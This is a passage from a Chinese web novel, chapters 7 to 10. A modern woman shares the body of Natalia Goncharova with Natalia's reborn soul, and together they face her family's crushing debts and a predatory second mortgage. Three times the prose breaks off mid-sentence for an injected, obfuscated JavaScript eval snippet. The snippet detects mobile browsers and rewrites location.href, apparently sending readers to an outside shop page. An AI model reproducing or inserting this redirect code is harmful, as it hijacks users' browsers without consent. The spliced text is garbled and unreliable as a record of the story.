我的亲姐们是我“宿敌”的死忠毒唯……提问:我要怎么在她们“普希金圣经”的压迫下活到明天? “嘎——” 卧房的门被推开了。 冈察洛娃夫人站在门口,一只手扶着门框,另一只手攥着几封信。 她的视线扫过屋内:一个被摇得七荤八素的小女儿,两个手忙脚乱松开人的大姑娘。 整个房间的空气瞬间冻结。 三姊妹像被掐住了后颈的猫,动作定格。 亚利克珊德拉松手的速度快得像触了电,叶卡提丽娜已经站到了床边,双手背在身后。 只剩娜塔莉娅还瘫在床上,眼前的天花板在转圈。 “醒了?” 母亲的声音不高,却乌云压城般倾泻向整间屋子。 “醒了就赶紧去准备行装。” 她扫了三个女儿一眼。 “如果你们还有一点点追求的话……就赶紧趁着莫斯科的新娘市场结束前,把自己嫁出去!” 新娘市场。 这是对莫斯科冬季开始的社交季的别称。女孩们打扮得花枝招展,在数不清的舞会上被男人挑选,而后缔结婚姻。 娜塔莉娅在心里把这四个字翻来覆去嚼了一遍,一股说不出的苦涩涌上来。 “姑娘们,长长心!最近都精神点,别再关注那些不三不四的东西。” 亚利克珊德拉的嘴张了一下,又闭上了。不三不四的东西——大概率指的是诗集和文学期刊。 “从今天起,只要是发给冈察洛娃家的邀约,你们三个,一场不落地给我参加。” 话说完,冈察洛娃夫人攥着信转身离去。裙摆扫过门框,在走廊地板上敲出硬邦邦的足音。 寒流散去,两位姐姐同时松了口气。 “妈妈手里那几封……是收支报告吧?”叶卡提丽娜的声音压得很低。 亚利克珊德拉扒着门缝往外看了看,“算日子,确实是这两天到。看来又不是好消息。” “每次这些信寄到家里,妈妈就没高兴过。” “最近几天都乖点吧。” 娜塔莉娅坐在床上,被晃散的意识慢慢聚拢。 她盯着空荡荡的门口,眸中的流光暗了暗,手指不自觉拽紧了被角。 收支报告啊…… 7. ·007· 连着跑了好几天家庭舞会后,娜塔莉娅觉得自己快散架了。 旋转、行礼、微笑、寒暄、再旋转。 每天晚上被塞进裙子里陀螺一样转到散场,回家倒在床上,天不亮又被叫起来准备第二天的衣物和发型。 亏得这些邀约规模不大,她蹩脚的舞步勉强蒙混过关。但规模小意味着没地方躲——每一个眼神、每一句对白都在窄小的客厅里无处遁形。 那些良莠不齐的男人凑近时带着酒气和发油味,搭在她腰上的手或轻或重,全靠她自己把控边界。 更要命的是,自宫廷舞会结束后,娜塔就一直不给回应。 她在脑子里喊了无数次,用尽了撒娇、威胁、哀求,回答她的只有一片空白。 又一场舞会结束,马车在夜色里摇晃。 母亲坐在对面,来时脸上的笑容已经收进了某个抽屉里。 所有的热闹都没有下文,没有后续的“好消息”令人糟心——娜塔莉娅的美貌能让所有人争先恐后地来跳舞,可一旦话题转到婚嫁,连殷勤的笑容都要打折扣。 美人人人爱看,美人娘家的债务,没人想碰。 低气压在车厢里越压越沉。 叶卡提丽娜盯着手绢上的刺绣,亚利克珊德拉缩在角落假装打瞌睡,没有人敢吭声。 娜塔莉娅看着车窗外一片漆黑的莫斯科街道,在心里又一次呼唤。 “娜塔。” 没有回音。 “你再不说话,我就把你的人生往我喜欢的方向拐了。” 沉默。 “我不信只有嫁人这一条路。我真要疯了——你不回答我就当你默认,后面犯了什么禁忌我也不管了,撞上了算你倒霉。” 依旧沉默。 娜塔莉娅抬起头,打破了车厢里凝固的寂静。 “妈妈,回家之后我们谈谈。” 冈察洛娃夫人掀起眼皮。 “谈什么?有话就说。” “我想看看家里的收支账本,了解一下经营状况——看看有没有什么改善的余地。” 空气冷了一度。 “改善?你?” 冈察洛娃夫人的声音平平的,像一把钝刀慢悠悠地划过来。 “娜塔莉娅,你只需要学会抓住有钱的男人就够了。经营不是你能碰的东西。” “妈妈,就当是给我自己增加筹码。”娜塔莉娅往前坐了坐,尽量让自己的语气听起来恳切、耐心而不是冒犯,“会当家、懂经营的女主人,总比什么都不会的花瓶更有价值吧?” 冈察洛娃夫人盯着她看了几秒,忽然笑了一声。 那笑不带温度。 “行。那你说说看,咱们家靠什么吃饭,手里有什么产业——说出来。甚至不需要你说全,妈妈就让你看。” 娜塔莉娅张了张嘴。 脑子里一片空白。 她一个穿越过来不过月余的现代人,连这具身体十六年的记忆都没接收过。 家产?负债?她知道个鬼。 冈察洛娃夫人看着小女儿涨红的脸,已经收回了视线。 “连自家的产业都说不出来,还谈什么经营?” 娜塔莉娅嘴唇动了动,说不出话。 明明脑子里装着两百年后的商业知识、管理概念、财务常识,全都卡在了一个最基础的门槛上——她不知道这个家有什么。 像一个满级号登录了新手村,却发现装备、背包、仓库甚至邮件全是空的。 就在窒息感快要把她逼疯的时候—— “家里有卡卢加省‘波尔霍夫’庄园、莫斯科‘赫列诺夫尼基’庄园和普列斯尼亚区的庄园,以及一间造纸工厂和亚麻帆布制造工坊。” 莉娅愣住了。 那个声音从脑海深处浮起来,轻轻的,带着疲倦,却清清楚楚。 “债务方面,祖父留下的亏空约六十万卢布。工厂的设备已经十年没有更新,农庄连续五年歉收,大部分农奴土地已被抵押。” 是娜塔。 时隔多日,等了无数个沉默的夜晚,她终于回来了。 莉娅的鼻腔猛地一酸,死死忍住了。不能让车厢里的母亲和姐姐们看出任何异样。 但紧接着,娜塔话里的信息在她脑中炸开。 三处庄园、一间工厂、一个工坊——再加上贵族的封地和人口…… 不der,这些个家底,家里是怎么混到背负巨债、连香水都用不起的? 但此刻,完全不该是因震惊而懵愣的时候。 依照娜塔的提示,莉娅收敛心神,望向母亲等着看笑话的眼睛,平静地将家底说得明明白白。 随着少女的罗列,大姐和二姐直直地盯死变得陌生的小妹,亚利克珊德拉更是死死抓住叶卡提丽娜的胳膊,把她都抓疼了。 她们心中山呼海啸:这还是和我们一起厮混的、妈妈的“小娜塔”吗?什么时候背着人偷偷用功进化了?简直“可气”! 但姐姐们又不免为妹妹感到自豪:看到妈妈震惊的样子了没? 母亲坐直的身体、微张的嘴,以及不知什么时候掉到脚边的折扇,都说明了问题——妹妹的回答,绝对八九不离十。 长久以来被母亲专制压迫的女儿们,纵然知道不应该,但请原谅她们,此刻内心的愉悦与欢畅是那么真切和鲜活。 挑战权威还能胜利,这简直太让人幸福了。 “母亲,我说的对吗?” 莉娅倾身向前,虽是问询,但压迫感十足。十六岁的少女,却有着与年龄不符的气势。 冈察洛娃夫人从头到脚地打量着小女儿,仿佛第一次认识她似的。 她印象里的女儿是温润的,像颗小珍珠。她的小娜塔不像她另外两个女儿,对文学无甚兴趣,喜欢漂亮的首饰和衣服,从小就喜欢万众瞩目场合—— 小女儿不应该对经营感兴趣,更不会对家族的现状如此了解……她最听话的小天使,什么时候变了模样? “是……德米特里告诉你的吗?” 冈察洛娃夫人喃喃自语,仿佛找到了什么理由说服自己。震惊褪去,慢慢恢复了镇定,她又重新变得端庄。 德米特里? 完全陌生的名字。 正在困惑的莉娅听到娜塔在内心深处解答: 德米特里·尼古拉耶维奇·冈察洛夫是长兄的名字,他是祖父认定的冈察洛夫家族继承人。 因为祖产集中在卡卢加省,大哥常年在外经营,加上他和“娜塔莉亚”之间感情不是特别深厚,因此一直没来得及介绍。 母亲还是觉得哪里不对劲,“你什么时候和你大哥这么亲近了?我记得你们都不怎么爱和他玩……他连这些都跟你说?” 莉娅挺起腰板,微笑着说:“妈妈不用猜测我是怎么知道的,但‘我知道了’,不就是一种证明吗?” 母亲嗤笑了声,打量小女儿许久,终于,她揉了揉眉心,像是终于妥协了。 “行,你想看,回家后我就把报告拿给你看——不止是你,卡嘉和珊德拉也可以看看。” 母亲没有在意大女儿和二女儿错愕的反应,她闭上眼假寐,语气里似乎满是疲惫。 “相信我,你们看过之后,会觉得跳舞嫁人是多么轻松的事了。” * 冈察洛娃夫人如约把材料报告送到了三姐妹的卧室,允许她们今晚晚睡并额外点一支蜡烛。 起初,叶卡提丽娜和亚利克珊德拉还很兴奋。但很遗憾,经营报告和信件材料不是文学作品, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378115|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有浪漫的故事、曲折的情节,除了证明她俩看不懂之外,毫无吸引力。 二姐很快就投降,说脑子被亚麻和造纸折磨炸了,去床上缓缓;大姐也拿了一份信件,在被窝里做着最后挣扎。 许是舞会的疲惫,加上无聊催眠的文字,不一会,她俩都睡熟了。 莉娅支起蜡烛,取出自己的纪念册,在娜塔的帮助下将所有的信息汇总、制表。 娜塔不明白莉娅这么做的意图,但还是认真仔细地核对后给她报信息,看她将信息转换成陌生的方块字和数字表。 等到蜡烛烧了三分之二,莉娅终于伸了个懒腰,完成了对今年家族资产的汇总整合。 她总算理解了母亲那句话:看冈察洛娃家的资产,会心梗,会恨不得换双没有见过那些数字的眼睛。 连轴跳舞只是肉.体的疲惫,还能休息恢复; 看完报表却是精神的谋杀,睡不着,根本睡不着——只要一闭上眼,莉娅就觉得财政赤字提着刀,在追着自己疯狂地砍。 “不带这样的,姐妹,这就是你告诉我的、家族巅峰时期总资产350万卢布?” 莉娅快呼吸不过来了。冈察洛娃家是真阔过,所以才这么触目惊心。 “一百年不到啊——我那边总说‘瘦死的骆驼比马大’……好家伙,你们直接干到资产负数了!” 少女拍拍自己的胸脯顺气,以免一个呼吸不畅把自己憋死。 “你家是出魔丸还是出大聪明了?我天,两代蒸发干净一个传奇!” “爷爷、父亲还有现在接手的哥哥,都不善经营……” “这不是擅不擅长经营的问题,换个猴子来都不至于这样——对不起,娜塔,我没有侮辱的意思。” 莉娅疯狂地抓着头发,共鸣告诉娜塔:她快疯了。 “不善经营不至于伤筋动骨,但祖母当年为了给亲属还赌债,抵押出去了大半家产。” 好家伙,真理不欺我:不怕败家子,就怕败家子沾上黄赌毒。 “父亲在精神失常前挥霍无度,因投资失误欠下了20万卢布的债务……” 不怕二代挥霍,就怕二代灵机一动创业是吧? “最大的部分是国家债务,本金在40万。” 行,我明天就去单挑沙皇,直接抢国库还债好了! 莉娅看着报表,账面无论怎么算总收都只有一万五千卢布——但这部分还要刨除原料供应商的货款和短期债务的支出,可供自由支配的现金收入竟然不足五千卢布。 五千卢布能做什么?它甚至可能都跑不赢国债的利息——这对于一个拥有数千农奴、且在莫斯科社交圈保持贵族体面的家庭来说,是极其拮据的。 怪不得母亲在不停地卖家产…… 这是悬在蜘蛛丝上的体面。 “莉娅,你说你要把‘我’的人生往你喜欢的地方拐,也说犯了忌讳不要怨你……我其实一点都不介意。” “除了我自己并不想要这一生以外,莉娅,从一开始就觉得,最倒霉的,是出现在我身体里的你。” 娜塔的声音明明灭灭,像风中被摧残的烛火。 莉娅嘴边露出一丝苦笑,别人的穿越是璀璨,而她开局家里背着60万的债。 “你还想继续‘活’下去吗,莉娅?你觉得‘我们’的人生还能有第二种可能吗?” “想什么呢,笨蛋娜塔,从我和你相遇起,我们就在互相拯救了。” 与命运斗,其乐无穷。 莉娅望着桌面上的表格,赤红的眸子里一扫颓唐,她深吸一口气,攥紧拳头,绝不服输。 “不过,在那之前,娜塔,我们先互相交个底牌吧——” “你,不是原来的那个‘娜塔莉亚’,对吗?” 8. ·008· “交个底牌吧——” 烛火跳了一下。 莉娅的手搁在书桌边缘,十指交叠,脊背挺得笔直,像是在谈一桩生意。 “你不是原来那个‘娜塔莉亚’,对吗?” 话音落下,脑海里那个一直与她共存的声音便没了动静。 莉娅没催。 前一秒俩人还在相濡以沫地交心,下一秒就被要求掀桌亮底牌,换谁都得愣。 蜡烛消了三分之二,烛泪一股股涌出来,顺着铜台凝成弯曲的白痕。烛影摇曳,纪念册列表下,六十万卢布的数字被画上圈,在光影里明明灭灭。 六十万。 都愿意背负如此庞大的债务了,还差这点让同行者权衡的时间? 她不急。 沉默持续了很久,久到莉娅以为今晚不会得到答案。 然后娜塔开口了,没有狡辩,没有反驳,只是用那种轻飘飘的、有些疲倦的调子问了一句:“你是怎么发现的?” 莉娅笑了,手指点了点太阳穴,“说实话,你从一开始就没打算瞒我。” “第一个破绽,在普希金身上。” 莉娅撑着下巴,语调不紧不慢,像在课堂上做一道推理题。 “你操控身体在宫廷花园初见到普希金时,你愣住了。你的反应不是好奇、陌生,是打破认知的意外。” 她竖起一根手指。 “你下意识就想逃,腿都在发软,可那会儿诗人先生连自我介绍都还没做过。” 第二根手指立起来。 “舞会结束后姐姐们的审问你也知道,三姊妹从未见过普希金本人……那你又是怎么认出他的?” 脑海里传来一阵微弱的气息波动,像是被击中了破绽。 莉娅没停。 “还有,班肯多尔夫拿血统羞辱普希金的时候,你虽没明着表态,但你语言动作暴露了动机——你在隐晦又小心地维护他,生怕被人发现。” 她摊开手。 “一个刚出社交场的小姑娘,对一个理论上的陌生人这样?” “最绝的是舞会上普希金来邀舞。你、礼仪课的标杆,连一句‘我拒绝’都说不出来,直接把身体甩给我——” 莉娅翻了个白眼。 “你和普希金要是没点关系,鬼都不信。” 安静了两秒,娜塔小声开口,带着一丝顽固的嘴硬:“……简笔画像确实和他本人很像。” “嗯哼。” “两个姐姐那么崇拜的诗人,维护一句很正常。” “哦豁。” “大庭广众被架在那下不来,一时慌神,换你顶上也……也合理。” 莉娅把白眼翻到了天上。 “是是是,你很正常,非常正常,正常到发光。”她话锋一转,声音压低了半度,“但你今晚很不正常。这是你的第二个破绽。” 娜塔的呼吸顿了顿。 “身为贵族小姐,知道自家庄园和工厂在哪,不算稀奇。”莉娅的指尖敲在账面表格上,一下、一下。 “但你能精确地报出每一笔营收,每一项债务的数额和来源,甚至知道哪个债主最难缠——你说,这是一个刚踏入社交界的十八岁女孩该掌握的信息?” 她停了停。 “这是继承人才有的本事。是家主才能接触到的东西。” 账本被她合上,发出一声沉闷的响。 “再说社交——宫廷舞会上你应付那些高官勋爵的手段,转圜、试探、收放自如,每一步都老练得不像第一次登场……” 话还没说完,一声叹息从脑海深处传来。 很轻,很长。 像一根被绷了太久的弦终于松下来。 “你说得都对,莉娅。” 娜塔的声音平静了下来,不再挣扎,不再嘴硬。 但她没有就此认输。 “不过……你也不是什么普通女孩子。” 莉娅挑了下眉。 “你自由得没有边界,知道很多离奇的东西——经营、制表、东方的文字——可你对身边最基本的一切都像个初生的婴孩。礼仪要现学,舞步要现记,连茶要怎么倒都是我教的。” 娜塔的语速慢了下来,每一个字都在掂量。 “最关键的是,你没有尊卑。” “对母亲你敢当面硬顶,拿沙皇陛下的名字你张口就编排——在这个国家,光这一条就够上绞架了。” “除非……你根本不是从这个世界来的。” 两个藏着秘密的灵魂同时安静了。 但寂静维持了三秒。 不知道是谁先没绷住,一声极短的笑从某个角落漏了出来,紧接着另一个也跟着破了功,笑声交叠在一起,在深夜的房间里回荡。 她们都清楚,对方已经默认了这场“摊牌”结果。 娜塔呢喃道:“我在某天醒来后,发现自己回到了少女时代。” 莉娅低语:“我在两百年后翘了辫子,一睁眼就到了这鬼地方。” “你是重生的?!” “你来自未来?!” 两句惊呼撞在一起,脑海里炸开了锅。 “那你知道‘娜塔莉亚’以后会?” “我‘醒来’之前……”娜塔的声音突然变得很慢、很沉,每个音节都拖着看不见的重量,“我的''丈夫'',已经因决斗而死很久了。” 娜塔停顿片刻,发觉不对劲,“你……也知道?” 莉娅抿了下唇,“我不是九漏鱼,好歹《假如生活欺骗了你》是能倒背如流的。” “那是他的诗啊……” 娜塔的语气里有一种说不清的东西,像是怀念,又像是在确认一个遥远的事实。 但莉娅绷不住了,一句纯正的东方国粹脱口而出。 “不对啊——你都重生了,我怎么还能穿到你身体里?” “咱俩国别都不一样,阎王爷是喝了多少孟婆汤才能把我扔到东欧平原上?” “不对,我这也不算投胎啊——这算什么,灵魂合租?” 抓狂挠头的莉娅和被逗恼无能狂怒的小猫没什么两样,娜塔忍俊不禁。 “你别笑,这是很严肃的事!” “噗——好的莉娅,我没有在笑。” “你还笑,我两只耳朵都听见了。” “那我等你听不见的时候再笑。” 莉娅恼了一瞬,又忽然想起一件事,“我可是幽灵,是鬼,你就一点都不怕?” “啊——” 娜塔拉长了尾音,语气里带着一种过来人特有的、干巴巴的幽默。 “对于一个经历了漫长、痛苦的一生的‘老人’来说,被迫重走一遍人生,比见鬼更让我尸体僵硬。” 莉娅愣了愣。 “你居然会开玩笑了?” “毕竟和你待久了,不是吗。用你的话说——我的活人感,在日益增多。” 莉娅还没来得及接话,一阵抱歉的低语掠过脑海,紧跟着天旋地转,她的意识被轻轻推了出去。 灵魂脱离躯壳的经历是第二次,她依旧不太适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378116|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 莉娅飘在地板上,低头看见坐在书桌前的娜塔缓缓向她望过来。 她看清那双眼睛——虹膜退变成纯粹的灰色,星辉寂灭,暗无天日。 灰眸的少女伸出双手,捧住了飘在面前的幽灵的脸。 她掌心是温的。 幽灵有些呆愣,但被那双手牵引着,乖顺地慢慢俯下身子。 直到她与她双额相贴。 “莉娅,我从未骗过你。” 娜塔的声音从少女的嘴唇间摩擦出来,低低的,带着一种岁月沉淀的温柔。 “这具过于年轻的身体里,装着一个并不匹配的、早已苍老的灵魂。但你的灵魂是那么鲜活…… “你降临的那天,我仿佛预见新生——我当即就决定,要让你来主导‘娜塔莉亚’的一生。” 少女转过幽灵的下颌,让她面朝书桌上的小铜镜。 “你有仔细看过我们的脸吗?” 镜子里,少女和幽灵的面容重叠在一起。 一模一样的五官和骨相。只不过,一个萦绕着西方贵族浸润出的优雅,一个散发着东方水土养出的气韵。 “你看——我与你对视,与照镜子没有区别。” 娜塔的手微微用力,按着幽灵的脸颊不让她躲开。 “听好了,莉娅,或许这就是为什么:如果我有来生,你就是我最想变成的那种样子。” 少女的灰眸里有水光浮动。 “自由的,鲜活的,在阳光底下跑起来不回头的。” 话音未落,幽灵消散了。 镜子里只剩一个人。 少女的灰色瞳孔里重新洒满了细碎的鎏金,灿烂的、流动的。 星辰复闪,那是属于另一个灵魂的光。 娜塔的声音从身体最深处传来,像是贴着耳畔在说话: “我和记忆里的普希金相识,不该在宫廷舞会,而是在舞蹈教练约赫尔的家庭舞会上——那也是属于我的第一次社交亮相。” 莉娅坐在椅子上没动,鎏金的眼睛映着烛火。 “所以,从一开始就不一样了。这就是你人生的续写,而不是我的,‘娜塔莉娅’。” “我的存在如果对你还有用的话,如果你愿意——按你们未来的说法,虽然可能用处不大,但我大概算是你的‘金手指’?” 居然有人真的愿意把自己的人生让出去。让给一个素不相识的、来自两百年后的、连俄语社交都踉跄的陌生灵魂。 但她们灵魂同调,彼此之间没有谎言。甚至这具身体从未排斥过她,契合到像她本来就属于这里。 “你……就是想让我心甘情愿地背上六十万卢布的债,对吧?娜塔?”少女靠在椅背上,抬手遮住了双眼。 “你说是就是吧,亲爱的莉娅。我会陪着你,直到你不再需要我。”温润的回声一圈圈在内心深处连绵。 “即使我疯癫、反叛,甚至——不结婚?” 漫长的停顿。 娜塔的声音从胸腔里升起来,带着一种前所未有的、恶劣的愉悦。 “哇,太酷啦——如果你能让某个诗人哭泣,我会额外给你亿万掌声。” 莉娅猛地从椅子上站起来,椅腿在地板上刮出一道刺耳的声响。 烛火被她带起的风扑灭了一盏,账本摊开在桌面上,六十万的数字在昏暗中隐约可见。 不就是十九世纪! 不就是挣钱? 她会挣很多很多钱——然后把她的小蛋糕,养成整个沙俄最漂亮的那一个。 9. ·009· 目标有了,莉娅顿时气焰高涨,有了无穷动力去拼搏。 困境明了,那就开始逐个击破。 家族的工厂和作坊是能直接接触到的大笔经济来源,那就从这个头部资产开刀。 少女翻开那本写满中文表格的纪念册,指着造纸工厂和亚麻工坊的财务数据。 “娜塔,你看,大哥德米特里在卡卢加省的这些年,亏损逐年递增。如果我能‘干掉’他接手工厂,成功的可能性有多大?” 空气里一片寂静。 过了许久,娜塔才找回自己的声音,她有些哭笑不得,“莉娅,你们未来的女孩子,都这么胆大直接的吗?” 未来的灵魂说话真是没轻没重。 如果不是痴长些年岁,再加上有了“疯癫、叛逆”的预警,规矩了两辈子的贵族淑女,怕不是要被摊牌后就放飞自我的“另一个自己”吓昏过去。 “大哥不是经营无能吗?”莉娅理所当然地反问,“我让他提前退休回家数钱,能者居之,这很正常啊。” “不正常,一点都不正常!”娜塔的声音陡然拔高,“我不知道两百年后的世界什么样,但在现在的俄罗斯,你要么会被当成疯子关进阁楼,要么……可能会死。” 莉娅手指下意识地蜷缩。 她差点忘了,时代对女性的束缚,是一座看不见的五指山,沉重得能压碎骨头。 “为什么?”她还是不甘心地刨根究底。 “因为你是个女孩子,还是有贵族头衔的女孩子!” 时代和异国文化的差异,让莉娅像一个缺乏常识的小孩。娜塔只好耐心地解释原因: 所有女性都不能直接接管工厂、庄园和账目。 贵族女性管实业是粗鄙、越界的行为,会让整个家族蒙羞,被所有上流社会不齿。 “除开这些,大哥是长子,是名义上的继承人,他接管产业是天经地义。母亲是在父亲病重后,别无选择的情况下才代为管理家族事务。” “莉娅,你或许很聪明、很有能力,但现在不行——不要成为异类。你最多只能‘提议’,但绝不能明着‘夺权’……” 娜塔顿了顿,声音低了下去。 “除非家里的男丁都死绝了——不,就算死绝了,你也必须找一个男性代理人来管理。” 真可惜,龙傲天的炫酷剧本被无情毙掉。 少女泄气地瘫在椅子上,长长地叹了口气。 但莉娅心里,还在愤愤不平地念叨:德米特里,我亲爱的大哥,你最好给我乖一点、聪明点,早点开窍多挣些小钱钱,不然下次正式见面,我一定咬死你! 娜塔听见了她的心声,无奈地叹息,并为远在卡卢加省的大哥祈祷:米嘉,我选她,你加油,保重。 工欲善其事,必先利其器。 既然不能出任家族CEO,走上人生巅峰,那就从提高生产力开始找路子。 娜塔莉娅晃了晃脚,很快有了新主意,“我借鉴点未来发明,更新下蒸汽机什么的,行不行?” “不行!” 娜塔当即回绝,语气是前所未有的严肃。 “你疯了?十二月党人起义的风波才过去没多久,沙皇陛下对任何形式的‘革新’都风声鹤唳……你在这个节骨眼上搞这些,是嫌活得太热闹,想去绞刑架上凉快凉快吗?” 莉娅被娜塔罕见的黑色幽默逗笑了,很快又垮下脸。 好吧,智慧惊艳世界的剧本也被毙。 她不死心,又开始探索下一个可能。 “那不搞实业,我去做个二道贩子:去找商机,跑订单,拿合同?”莉娅试探着问道。 娜塔的声音简直无情,“那你得先结个婚——未婚女性没有独立的法律行为能力,你签的任何合同都是无效的。” 莉娅抓狂了,“那我去试试银行股票,搞金融总行了吧?” 话音刚落,她能感觉到,沉默的娜塔正在用一种看傻子的眼神看她。 也对,就冈察洛娃家现在这个烂摊子,银行信不信任她是一回事,关键是,哪有鬼的现金流给她去搞什么资本操盘。 莉娅彻底窒息了。 来大钱的路子一条条被堵死,她感觉自己像一只被困在玻璃瓶里的飞蛾。外面一片光明,自身本事不差,却找不到出路。 “这样下去,总不能让我去攻略沙皇,搞宫斗政变,把他踢了自己当女皇吧?”她破罐子破摔地胡言乱语,“等我当了女皇,国家总不至于还追着我要这点欠债吧?” 没想到,娜塔这次却没有立刻否定。 莉娅嗅到了不好的气息。 “我从没想过还能走这条路……但老实说,莉娅,这比你前面那些提议都要靠谱一点。只不过,难度是登天级别的。” “毕竟沙皇陛下是欧洲皇室公认的美男子,你不吃亏。但他的理性远大于感性,而且是个很自律克己的人,你喜欢这种像钟表一样的男人吗?” 救命! 莉娅扛不住了,她迈开小腿,哀嚎一声,把自己摔进柔软的床铺里,拉起被子蒙住头,在里面蜜蜂嗡嗡。 “我不干了——我去经商,开个小铺子,就养活咱俩行不行?我不要管什么家族了!” “害怕了?退缩了?不行呢,亲爱的。” 娜塔的声音轻柔地响起,带着一丝无情的怜悯。 “你还没有被剥夺贵族名号,私自经商就是在自降身份,家族的名誉会因你彻底崩盘——如果你不想看哥哥姐姐们被拖累的话。” 被子里的莉娅还想再说些什么,但时间已经太晚,娜塔让她快休息。 少女乖乖闭上眼睛。 “‘娜塔莉娅’,你才十六岁,亲爱的,不要急,你还有时间,不要错过现在最可爱的年华…… “最适合你的、最正确的那条路,会自己出现的。现在,睡吧,晚安。” 娜塔温润的话音,轻盈得如同一个落在额头的吻。 桌上的最后一截蜡烛燃尽,房间彻底陷入黑暗。用脑过度的少女,终于沉入了梦境。 第二天,莉娅睡到日上三竿才醒来。 阳光透过窗帘的缝隙照进来,在地上投下一道亮斑。 奇怪的是,母亲居然没有派人来催她起床。 或许是今天没有社交邀约,又或许母亲知道了她昨晚的“用功”,默许了她的懒觉。 等莉娅收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378117|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾好下床,才发现她昨晚弄得一团乱的小书桌已经被收拾得妥妥当当。 那些摊开的资料和账目,被分门别类、一摞一摞地码放整齐。 叶卡提丽娜和亚利克珊德拉正坐在桌边继续分类。见她过来,脸上都露出了愧疚的神色。 “莉娅,你醒了。”叶卡提丽娜站起来,“昨晚对不起,我们说好一起看,结果……我们都睡着了,留你一个人忙到那么晚。” “我们看不懂你写的那些字,只能帮你把东西收拾一下。”亚利克珊德拉也小声附和,“你教教我们吧,我们也想帮上忙。” 莉娅心头一暖。 纪念册上的财务表格用的是中文,姐姐们自然看不懂。但她很高兴姐姐们的用心。 这一天,除了用餐时间,姐妹三人就围在书桌前。莉娅将那些复杂的财务数据和分析,用她们能听懂的方式,一点点地翻译和解释。 姐姐们虽然不懂经营,但那些一目了然的赤字和亏损,让她们第一次对家族的困境有了清晰而沉重的认知。 她们好像终于理解了,为什么母亲总是严厉地禁止她们沉迷于诗歌和小说。 当生存都成为问题时,浪漫和风花雪月,是最无用也最奢侈的东西。 “对了,莉娅,”叶卡提丽娜忽然指着一份报告,秀气的眉毛蹙在一起,“我看这上面说,家里绝大部分的庄园和农奴都已经抵押给国家监护委员会了……可为什么有封信上说,母亲还要再抵押出去一大批农奴呢?” 昨晚她就是抱着那封信睡着的,对信里的内容印象很深。 莉娅心里咯噔一下。 她可以确认,自己昨晚看过的资料里,绝对没有这封信。 “大姐,信给我看看。” 叶卡提丽娜在桌上翻了翻,没找到,才想起来信在她床上没拿过来。她连忙去把早上顺手压在枕头下的信纸取了出来。 莉娅接过信,只大致看了下,整个人就像被电流击中,猛地从椅子上窜了起来。她的动作之大,差点把椅子都带翻。 与此同时,在她脑海里,娜塔的声音带着前所未有的惊恐和急切,疯狂地拉着警报。 “莉娅,快阻止妈妈,我想起来了——就是因为这次‘二次抵押’,家里的财务陷入了长达好几年的彻底混乱,这是一个陷阱!” “娜塔,这是非法抵押借款,这是高利贷,碰不得!” 少女的双重心音在此刻默契地重合。 “怎么了,莉娅?” 姐姐们被她惨白的脸色和剧烈的反应吓坏了,都围了过来。 “这是非法的二次抵押,利息高得吓人……一旦签了,就会把我们家拖进万劫不复的深渊。” 莉娅的声音因为焦急和惊恐而微微发颤。 “妈妈这是在饮鸩止渴——她在寻死路!” 话音未落,窗外,那片总是门可罗雀的前庭,忽然传来了一阵清晰的马车车轮碾过的声音。 一辆通体漆黑、没有任何家族徽章的马车,在冈察洛娃家的大门前,缓缓停稳。 少女快速地扫过信件,一个日期和时间刺痛了她的双眼。 签订合约的时间,就是今天。 10. ·010· 马车停稳的声音还没散,叶卡提丽娜和亚利克珊德拉已经扒上了窗沿。两人掀开了半边窗帘,往前庭探头探脑。 车门打开,身着黑衣的男人踩着踏板下来。 黑色的礼帽下是男人灰色的头发,五官看不清,但一定是张冷峻的脸。 他浑身上下裹着一股让人本能想后退的气息,连阳光都不往他身上沾。 男人摘下礼帽,掸了掸帽檐上并不存在的灰,忽然抬头往二楼瞥去一眼。 纵使隔着距离,危险和锐利不减半分。 叶卡提丽娜倒抽一口凉气,亚利克珊德拉直接把窗帘拽了回去,俩人跌跌撞撞退了好几步,拍着胸口大喘气。 “神呐,”亚利克珊德拉捂着心口,声音都变了调,“那个人好可怕,莉娅,他看到我们了——” “怪不得妈妈一大早就警告我们今天待在房间里别出来。”叶卡提丽娜竭力保持镇定,锁骨下方的皮肤却已经泛了红,“这种人怎么会出现在咱们家?妈妈为什么要让他进门?” 莉娅没急着回答。 姐姐们的圈子基本就辗转在庄园、沙龙和舞会里,见过的男人不是军官就是文官,再不济也是体面的商人。 那种从灰色地带摸爬滚打上来的角色,哪怕只远远看一眼,对她们来说也足够惊心。 一只温室里的花蝴蝶,碰上巷子里的恶犬,不吓一跳才怪。 她走上前,伸手搂住两个姐姐。 